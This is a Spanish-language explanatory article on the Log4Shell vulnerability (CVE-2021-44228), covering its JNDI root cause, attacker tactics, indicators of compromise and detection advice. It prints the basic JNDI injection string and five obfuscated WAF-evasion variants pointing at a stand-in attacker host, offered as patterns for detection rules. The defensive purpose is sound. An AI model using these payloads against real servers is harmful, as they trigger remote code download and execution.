La causa raíz de la vulnerabilidad CVE-2021-44228 está en cómo Log4j procesa los mensajes de registro. La biblioteca soportaba una función llamada "sustitución de búsqueda de mensajes", que permitía reemplazar ciertas cadenas en los registros por valores generados dinámicamente. Uno de estos métodos de búsqueda era Java Naming and Directory Interface (JNDI).

Los atacantes descubrieron que podían crear una cadena maliciosa, como ${jndi:ldap://attacker.com/a}, y lograr que una aplicación vulnerable la registrara. Cuando Log4j procesaba este registro, interpretaba la búsqueda JNDI, se conectaba al servidor LDAP controlado por el atacante y descargaba y ejecutaba una clase Java maliciosa. Esto le da al atacante un punto de apoyo persistente para la ejecución remota de código. Como las aplicaciones registran todo tipo de datos proporcionados por el usuario (como encabezados User-Agent o envíos de formularios), crear un exploit para CVE-2021-44228 resultaba espantosamente sencillo.

Tácticas, Técnicas y Procedimientos (TTPs)

Los actores de amenazas se desataron con esto. Las TTPs iniciales implicaron un escaneo masivo para encontrar endpoints vulnerables. Una vez hallado un punto de entrada, los atacantes usaban el exploit de CVE-2021-44228 para instalar ransomware, instalar criptomineros, robar credenciales de cuentas y establecer puertas traseras persistentes para acceso posterior. Muchos actores respaldados por estados y grupos de cibercrimen integraron rápidamente Log4Shell en sus manuales de ataque, usándolo como vector de acceso inicial para campañas más amplias.

Indicadores de compromiso

Detectar un ataque de Log4Shell implica buscar patrones específicos en tus registros. Los indicadores de compromiso (IOCs) más evidentes de la vulnerabilidad CVE-2021-44228 son entradas de registro que contienen la cadena ${jndi:}, especialmente con protocolos como ldap, ldaps, o rmi. También debes monitorear conexiones de red salientes sospechosas desde tus servidores de aplicaciones hacia direcciones IP o dominios inusuales, ya que esto podría indicar una devolución de llamada JNDI exitosa.

Variantes de ofuscación para detectar: Los atacantes desarrollaron rápidamente cadenas JNDI ofuscadas para evadir reglas de WAF y la coincidencia de cadenas basada en registros. Tus reglas de detección deben considerar los siguientes patrones además de la cadena básica ${jndi:}:

• ${${lower:j}ndi:ldap://attacker.com/a} — evasión de búsqueda en minúsculas
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a} — evasión por sustitución anidada
• ${${upper:j}ndi:ldap://attacker.com/a} — variante en mayúsculas
• ${j${::-n}di:ldap://attacker.com/a} — evasión por sustitución parcial
• ${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a} — ofuscación de protocolo

Las reglas de detección que solo coincidan con la cadena literal ${jndi:ldap no detectarán estas variantes. Usa coincidencia de patrones más amplia sobre jndi combinada con cualquier indicador de protocolo URI, o implementa firmas de detección de Log4Shell diseñadas específicamente a partir del aviso de CISA (AA21-356A).

Pruebas de concepto y exploits conocidos

A pocas horas de la divulgación, múltiples exploits de prueba de concepto (PoC) para CVE-2021-44228 estaban disponibles públicamente en plataformas como GitHub. Esto redujo drásticamente la barrera de entrada, permitiendo que incluso atacantes menos hábiles aprovecharan la falla. La alta explotabilidad llevó a campañas de explotación masiva por parte de botnets como Mirai y Kinsing, que usaron Log4Shell para propagarse e instalar malware. Los investigadores de seguridad también desarrollaron PoCs para ayudar a los defensores a probar sus propios sistemas en busca de vulnerabilidades.